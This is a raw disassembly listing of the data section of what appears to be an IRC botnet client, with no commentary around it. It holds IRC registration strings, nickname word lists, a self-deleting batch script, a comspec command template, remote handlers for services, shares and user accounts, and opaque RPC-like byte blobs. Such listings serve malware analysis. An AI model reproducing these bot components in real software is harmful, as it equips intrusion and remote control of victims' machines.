--------------------------------------------------------------------------- db 10h db 93h ; “ db 43h ; C db 0 db 88h ; ˆ db 0B1h ; ± db 42h ; B db 0 db 0Ch db 93h ; “ db 43h ; C db 0 db 8 db 93h ; “ db 43h ; C db 0 db 4 db 93h ; “ db 43h ; C db 0 db 70h ; p db 0C6h ; Æ db 42h ; B db 0 db 34h ; 4 db 0B9h ; ¹ db 42h ; B db 0 db 7Ch ; | db 0B7h ; · db 42h ; B db 0 db 0ECh ; ì db 0CAh ; Ê db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_1 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset aBoy ; "BOY" dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: .packed:00438BFCo dword_438C04 dd 7535h ; DATA XREF: .packed:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: .packed:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: .packed:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: .packed:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: .packed:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: .packed:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: .packed:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: .packed:00438BDCo aMofo db 'mofo',0 ; DATA XREF: .packed:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: .packed:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: .packed:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: .packed:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: .packed:00438BC8o aShit db 'shit',0 ; DATA XREF: .packed:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: .packed:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: .packed:00438BBCo align 4 aBoy db 'BOY',0 ; DATA XREF: .packed:00438BB8o aFree db 'Free',0 ; DATA XREF: .packed:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: .packed:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: .packed:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: .packed:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: .packed:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: .packed:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: .packed:00438B64o aBbl db '|bbl',0 ; DATA XREF: .packed:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: .packed:00438B54o aMuckc db 'muckc',0 ; DATA XREF: .packed:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: .packed:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: .packed:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: .packed:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: .packed:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: .packed:00438B2Co aRt db 'rt',0 ; DATA XREF: .packed:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: .packed:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: .packed:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: .packed:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: .packed:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: .packed:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: .packed:00438A78o aTree db 'tree',0 ; DATA XREF: .packed:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: .packed:00438A70o aLez db 'lez',0 ; DATA XREF: .packed:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: .packed:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: .packed:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: .packed:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: .packed:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: .packed:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: .packed:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: .packed:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: .packed:00438A48o align 4 aCem39 db 'cem39',0 ; DATA XREF: .packed:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: .packed:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: .packed:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: .packed:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: .packed:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: .packed:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: .packed:00438A2Co aAkden db 'akden',0 ; DATA XREF: .packed:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: .packed:00438A24o align 4 aAta29 db 'Ata29',0 ; DATA XREF: .packed:00438A20o align 10h aFirtina db 'firtina',0 ; DATA XREF: .packed:00438A1Co aAdamm33 db 'AdAMM33',0 ; DATA XREF: .packed:00438A18o aM41ist db 'M41IST',0 ; DATA XREF: .packed:00438A14o align 4 aMaxsilla db 'maxsilla',0 ; DATA XREF: .packed:00438A10o align 4 aAdem28 db 'Adem28',0 ; DATA XREF: .packed:00438A0Co align 4 aAnkm db 'ankM',0 ; DATA XREF: .packed:00438A08o align 4 aErkan db 'erkan',0 ; DATA XREF: .packed:00438A04o align 4 aDevre db 'devre',0 ; DATA XREF: .packed:00438A00o align 4 aYabanc db 'yabanc',0 ; DATA XREF: .packed:004389FCo align 4 aBirsen db 'birsen',0 ; DATA XREF: .packed:004389F8o align 4 aA44m db 'a44m',0 ; DATA XREF: .packed:004389F4o align 4 aAlcatras db 'alcatras',0 ; DATA XREF: .packed:004389F0o align 4 off_438E98 dd offset byte_4B5245 ; DATA XREF: .packed:004389ECo aSevda db 'sevda',0 ; DATA XREF: .packed:004389E8o align 4 aKotan db 'kotan',0 ; DATA XREF: .packed:004389E4o align 4 aTegmen db 'TEGMEN',0 ; DATA XREF: .packed:004389E0o align 4 aAchilles db 'Achilles',0 ; DATA XREF: .packed:004389DCo align 10h aKapk db 'kapk',0 ; DATA XREF: .packed:004389D8o align 4 aAngelgirl db 'angelgirl',0 ; DATA XREF: .packed:004389D4o align 4 aHayran db 'hayran',0 ; DATA XREF: .packed:004389D0o align 4 aFenerlee db 'FeNeRLee',0 ; DATA XREF: .packed:004389CCo align 4 aAnkar db 'Ankar',0 ; DATA XREF: .packed:004389C8o align 10h aDjspace db 'DJSPACE',0 ; DATA XREF: .packed:004389C4o aAnk32M db 'ANK-32-M',0 ; DATA XREF: .packed:004389C0o align 4 aUmut db 'umut-',0 ; DATA XREF: .packed:004389BCo align 4 aAdalim db 'ADALIM',0 ; DATA XREF: .packed:004389B8o align 4 aKumul db 'kumul',0 ; DATA XREF: .packed:004389B4o align 4 aUzgun36 db 'uzgun36',0 ; DATA XREF: .packed:004389B0o aSugarboy db 'SUGARBOY-',0 ; DATA XREF: .packed:004389ACo align 10h aSeviseli db 'SeViSeLi',0 ; DATA XREF: .packed:004389A8o align 4 aKashmira db 'Kashmira',0 ; DATA XREF: .packed:004389A4o align 4 aAykut1 db 'aykut1',0 ; DATA XREF: .packed:004389A0o align 10h aSadikaellesme db 'SaDIkaEllesme',0 ; DATA XREF: .packed:0043899Co align 10h aMahinur db 'MAHINUR',0 ; DATA XREF: .packed:00438998o aHoly db 'holy',0 ; DATA XREF: .packed:00438994o align 10h aFlord db 'FLoRD',0 ; DATA XREF: .packed:00438990o align 4 aKebikec db 'kebikec',0 ; DATA XREF: .packed:0043898Co aEsmerkiz db 'Esmerkiz',0 ; DATA XREF: .packed:00438988o align 4 aElmaazyok db 'elmaazyok',0 ; DATA XREF: .packed:00438984o align 4 aEmre db 'Emre--',0 ; DATA XREF: .packed:00438980o align 10h aRamtha db 'RAMTHA',0 ; DATA XREF: .packed:0043897Co align 4 aImirzali db 'IMIRZALI--',0 ; DATA XREF: .packed:00438978o align 4 aHakan3 db 'hakan3',0 ; DATA XREF: .packed:00438974o align 4 aMurat34M db 'murat34-m',0 ; DATA XREF: .packed:00438970o align 4 aKeyiflisert db 'keyifliSERT',0 ; DATA XREF: .packed:0043896Co aArda db 'arda',0 ; DATA XREF: .packed:00438968o align 4 aDevran db 'devran',0 ; DATA XREF: .packed:00438964o align 4 aBerk19m db 'Berk19m',0 ; DATA XREF: .packed:00438960o aDenizlim db 'DenizliM',0 ; DATA XREF: .packed:0043895Co align 4 aCongueror db 'CoNGuERoR',0 ; DATA XREF: .packed:00438958o align 4 aAlpay34m db 'alpay34m',0 ; DATA XREF: .packed:00438954o align 10h aBogac db 'bogac',0 ; DATA XREF: .packed:00438950o align 4 aDonjuanm db 'Donjuanm',0 ; DATA XREF: .packed:0043894Co align 4 aAnkh db 'ankh',0 ; DATA XREF: .packed:00438948o align 4 off_43902C dd offset byte_457441 ; DATA XREF: .packed:00438944o dword_439030 dd 414C5941h, 2Dh ; DATA XREF: .packed:00438940o aAlbina db 'albina',0 ; DATA XREF: .packed:0043893Co align 10h aIzmir39m db 'Izmir39m',0 ; DATA XREF: .packed:00438938o align 4 aZack db 'ZACK',0 ; DATA XREF: .packed:00438934o align 4 aAnk32m db 'ank32m',0 ; DATA XREF: .packed:00438930o align 4 aTurkyy db 'turkyy',0 ; DATA XREF: .packed:0043892Co align 4 aAhmet db 'ahmet',0 ; DATA XREF: .packed:00438928o align 4 aPelincik db 'pelincik',0 ; DATA XREF: .packed:00438924o align 4 aBlackpearl db 'blackpearl',0 ; DATA XREF: .packed:00438920o align 4 aRetg db 'RETG',0 ; DATA XREF: .packed:0043891Co align 4 aSamyeli21 db 'samyeli21',0 ; DATA XREF: .packed:00438918o align 4 aPiramit db 'PIRAMIT',0 ; DATA XREF: .packed:00438914o aAslii db 'aslii',0 ; DATA XREF: .packed:00438910o align 4 aErnesto db 'ERNESTO',0 ; DATA XREF: .packed:0043890Co aHaticem db 'haticem',0 ; DATA XREF: .packed:00438908o aArzu db 'ARZU',0 ; DATA XREF: .packed:00438904o align 10h aSudenur db 'SUDENUR',0 ; DATA XREF: .packed:00438900o aSevmekmi db 'sevmekmi',0 ; DATA XREF: .packed:004388FCo align 4 aVenedik34 db 'venedik34',0 ; DATA XREF: .packed:004388F8o align 10h aTekir db 'tekir',0 ; DATA XREF: .packed:004388F4o align 4 aMERVE db 'M-E-R-V-E',0 ; DATA XREF: .packed:004388F0o align 4 aTrend3 db 'trend3',0 ; DATA XREF: .packed:004388ECo align 4 aMelekk db 'melekk',0 ; DATA XREF: .packed:004388E8o align 4 aAkin db 'AKIN',0 ; DATA XREF: .packed:004388E4o align 4 aMary_0 db 'MARY',0 ; DATA XREF: .packed:004388E0o align 4 aJericho db 'JERICHO',0 ; DATA XREF: .packed:004388DCo aTolga34 db 'Tolga34',0 ; DATA XREF: .packed:004388D8o aMisssunday db 'misssunday',0 ; DATA XREF: .packed:004388D4o align 10h aIrmal db 'irmal',0 ; DATA XREF: .packed:004388D0o align 4 aObenibisevse db 'OBeNiBiSeVSe',0 ; DATA XREF: .packed:004388CCo align 4 aBerk19 db 'berk19',0 ; DATA XREF: .packed:004388C8o align 10h aHexaaa db 'hexaaa',0 ; DATA XREF: .packed:004388C4o align 4 aErkan27 db 'erkan27',0 ; DATA XREF: .packed:004388C0o aKaan38dent db 'kaan38dent',0 ; DATA XREF: .packed:004388BCo align 4 aCansuuuu db 'cansuuuu',0 ; DATA XREF: .packed:004388B8o align 4 aThr45h3r5 db 'THR45H3R5',0 ; DATA XREF: .packed:004388B4o align 4 aKencing db 'Kencing',0 ; DATA XREF: .packed:004388B0o aReshma db 'reshma',0 ; DATA XREF: .packed:004388ACo align 4 aCamel db 'CAMEL',0 ; DATA XREF: .packed:004388A8o align 4 aGirl db 'GirL',0 ; DATA XREF: .packed:004388A4o align 4 aImra db 'imra',0 ; DATA XREF: .packed:004388A0o align 4 aCoredump db 'CoreDump',0 ; DATA XREF: .packed:0043889Co align 4 aPuregold db 'puregold',0 ; DATA XREF: .packed:00438898o align 4 aKermit db 'kermit',0 ; DATA XREF: .packed:00438894o align 4 aManee db 'manee',0 ; DATA XREF: .packed:00438890o align 4 aTroller db 'troller',0 ; DATA XREF: .packed:0043888Co aLuisa db 'Luisa',0 ; DATA XREF: .packed:00438888o align 4 aNastysha db 'nastysha',0 ; DATA XREF: .packed:00438884o align 10h aRimpy db 'rimpy',0 ; DATA XREF: .packed:00438880o align 4 aJanno db 'janno',0 ; DATA XREF: .packed:0043887Co align 10h aBunty db 'bunty',0 ; DATA XREF: .packed:00438878o align 4 aHeval db 'heval',0 ; DATA XREF: .packed:00438874o align 10h aCme db 'cme',0 ; DATA XREF: .packed:00438870o aMarcy db 'marcy',0 ; DATA XREF: .packed:0043886Co align 4 aTalika db 'talika',0 ; DATA XREF: .packed:00438868o align 4 aShez db 'Shez',0 ; DATA XREF: .packed:00438864o align 4 aKen db 'ken',0 ; DATA XREF: .packed:00438860o aFlexster db 'flexster',0 ; DATA XREF: .packed:0043885Co align 4 aKoko db 'koko',0 ; DATA XREF: .packed:00438858o align 4 aMale db 'male',0 ; DATA XREF: .packed:00438854o align 4 aSwin db 'swin',0 ; DATA XREF: .packed:00438850o align 4 aCar1nna db 'Car1nna',0 ; DATA XREF: .packed:0043884Co aKrizha db 'KRIZHA',0 ; DATA XREF: .packed:00438848o align 4 aEmilya db 'emilya',0 ; DATA XREF: .packed:00438844o align 4 aBobmarley db 'BOBMARLEY',0 ; DATA XREF: .packed:00438840o align 4 aMaxxguy db 'maxxguy',0 ; DATA XREF: .packed:0043883Co aFarooq db 'farooq',0 ; DATA XREF: .packed:00438838o align 4 aSmartmir db 'SMARTMIR',0 ; DATA XREF: .packed:00438834o align 4 aM_0: ; DATA XREF: .packed:00438830o ; .packed:00438B7Co unicode 0, <M>,0 word_439298 dw 4Eh ; DATA XREF: sub_41A3C6+38r ; .packed:0043882Co align 4 dword_43929C dd 42h ; DATA XREF: .packed:00438828o dword_4392A0 dd 56h ; DATA XREF: .packed:00438824o dword_4392A4 dd 43h ; DATA XREF: .packed:00438820o dword_4392A8 dd 58h ; DATA XREF: .packed:0043881Co ; .packed:00438BB0o dword_4392AC dd 5Ah ; DATA XREF: .packed:00438818o dword_4392B0 dd 4Ch ; DATA XREF: .packed:00438814o dword_4392B4 dd 4Bh ; DATA XREF: .packed:00438810o dword_4392B8 dd 4Ah ; DATA XREF: .packed:0043880Co dword_4392BC dd 48h ; DATA XREF: .packed:00438808o dword_4392C0 dd 47h ; DATA XREF: .packed:00438804o dword_4392C4 dd 46h ; DATA XREF: .packed:00438800o ; .packed:00438B78o dword_4392C8 dd 44h ; DATA XREF: .packed:004387FCo dword_4392CC dd 53h ; DATA XREF: .packed:004387F8o dword_4392D0 dd 50h ; DATA XREF: .packed:004387F0o dword_4392D4 dd 4Fh ; DATA XREF: .packed:004387ECo dword_4392D8 dd 55h ; DATA XREF: .packed:004387E4o word_4392DC dw 59h ; DATA XREF: sub_41A6EA+38r ; .packed:004387E0o align 10h dword_4392E0 dd 54h ; DATA XREF: .packed:004387DCo dword_4392E4 dd 52h ; DATA XREF: .packed:004387D8o dword_4392E8 dd 45h ; DATA XREF: .packed:004387D4o dword_4392EC dd 57h ; DATA XREF: .packed:004387D0o dword_4392F0 dd 51h ; DATA XREF: .packed:004387CCo dword_4392F4 dd 62h ; DATA XREF: .packed:004387C0o ; .packed:00438B8Co dword_4392F8 dd 78h ; DATA XREF: .packed:00438B0Co dword_4392FC dd 7Ah ; DATA XREF: .packed:00438B14o ; .packed:00438B44o dword_439300 dd 6Ch, 68h ; DATA XREF: .packed:004387ACo ; .packed:00438AE0o dword_439308 dd 67h, 66h, 64h ; DATA XREF: .packed:00438B48o dword_439314 dd 79h ; DATA XREF: .packed:00438B10o dword_439318 dd 77h ; DATA XREF: .packed:00438B08o dword_43931C dd 4B43494Eh, 0A732520h, 0 ; DATA XREF: sub_417B76+B1o dword_439328 dd 323334h ; DATA XREF: sub_417B76+79o dword_43932C dd 474E4F50h, 0A732520h, 0 ; DATA XREF: sub_417B76+61o aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_417C61+9Bo db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0 align 4 a__0 db '-|`_\{[]}',0 ; DATA XREF: sub_417E84+BCo ; sub_417E84+175r ... align 4 dword_439374 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4393C0 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_4182CD+E3o ; --------------------------------------------------------------------------- loc_4393DC: ; DATA XREF: sub_4182CD+118o mov al, 1 push edx xchg eax, edi retf 0D059h ; --------------------------------------------------------------------------- db 11h dd 0A000D5A8h, 51800DC9h, 0 dword_4393F0 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: sub_4182CD+13Fo aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_4187E0+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_4188A6+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_4188A6+48o align 4 unk_4394A4 db 2Dh ; - ; DATA XREF: sub_418A2E+9Co db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aOperatingSyste db '- operating system is not supported',0 align 4 unk_4394D4 db 2Dh ; - ; DATA XREF: sub_418A2E+8Fo db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedWithErro db '- failed with error code %d',0 align 4 dword_4394FC dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h ; DATA XREF: sub_418A2E+5Co dd 65726165h, 64h off_439518 dd offset aAdd ; DATA XREF: sub_418C0E+60r ; sub_418FE5+51r ... ; "Add" off_43951C dd offset aAdded ; DATA XREF: sub_418C0E+2Dr ; sub_418FE5+83r ... ; "Added" dword_439520 dd 0 ; DATA XREF: sub_418C0E+18r dd offset aDelete_0 ; "Delete" dd offset aDeleted ; "Deleted" align 10h dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 8 dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43958Ch, 439584h, 2, 439578h, 43956Ch, 3, 746E6F43h dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0 aPaused db 'Paused',0 align 4 aPause_0 db 'Pause',0 align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .packed:0043954Co aStop_0 db 'Stop',0 ; DATA XREF: .packed:00439548o align 4 aStarted db 'Started',0 ; DATA XREF: .packed:00439540o aStart_0 db 'Start',0 ; DATA XREF: .packed:0043953Co align 4 aListed db 'Listed',0 ; DATA XREF: .packed:00439534o align 4 aList_1 db 'List',0 ; DATA XREF: .packed:00439530o align 4 aDeleted db 'Deleted',0 ; DATA XREF: .packed:00439528o aDelete_0 db 'Delete',0 ; DATA XREF: .packed:00439524o align 4 aAdded db 'Added',0 ; DATA XREF: .packed:off_43951Co align 4 aAdd db 'Add',0 ; DATA XREF: .packed:off_439518o unk_4395E0 db 2Dh ; - ; DATA XREF: sub_418C0E+67o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoServiceSpec db '- %s: no service specified',0 unk_439604 db 2Dh ; - ; DATA XREF: sub_418C0E+51o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0 align 10h unk_439630 db 2Dh ; - ; DATA XREF: sub_418C0E+33o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSServiceS db '- %s service: ',27h,'%s',27h,0 aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co align 10h aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_418D2A:loc_418E34o db 'the state of the service.',0 align 10h aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_418D2A:loc_418E2Do align 4 aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_418D2A:loc_418E26o db ' correct access rights.',0 align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E1Fo align 10h aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o align 10h aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_418D2A:loc_418E11o align 4 aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_418D2A:loc_418E0Ao db 'marked for deletion.',0 align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_418D2A:loc_418E03o align 4 aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_418D2A:loc_418DD8o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_418D2A:loc_418DD1o db ' the service.',0 align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_418D2A:loc_418DCAo db 'tServiceCtrlDispatcher.',0 align 10h aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_418D2A:loc_418DC3o align 10h aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_418D2A:loc_418D98o db 'dependent on it.',0 align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_418D2A:loc_418D8Eo aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_418D2A:loc_418D84o aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_418D2A:loc_418D70o align 10h aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co align 4 aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_418EA8+EBo aStopped db ' Stopped',0 ; DATA XREF: sub_418EA8:loc_418F74o aStarting db ' Starting',0 ; DATA XREF: sub_418EA8:loc_418F6Do aStoping db ' Stoping',0 ; DATA XREF: sub_418EA8:loc_418F66o aRunning db ' Running',0 ; DATA XREF: sub_418EA8:loc_418F5Fo aContinuing db ' Continuing',0 ; DATA XREF: sub_418EA8:loc_418F58o aPausing db ' Pausing',0 ; DATA XREF: sub_418EA8:loc_418F51o aPaused_0 db ' Paused',0 ; DATA XREF: sub_418EA8:loc_418F4Ao aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_418EA8+9Bo aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_418EA8+25o align 4 unk_439B84 db 2Dh ; - ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 dword_439BA8 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h ; DATA XREF: sub_418FE5+8Ao dd 73252720h, 27h unk_439BC4 db 2Dh ; - ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o unk_439C10 db 2Dh ; - ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h unk_439C70 db 2Dh ; - ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 unk_439C98 db 2Dh ; - ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 unk_439CC8 db 2Dh ; - ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 unk_439CE8 db 2Dh ; - ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_1 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h aAccountS db 'Account: %S',0 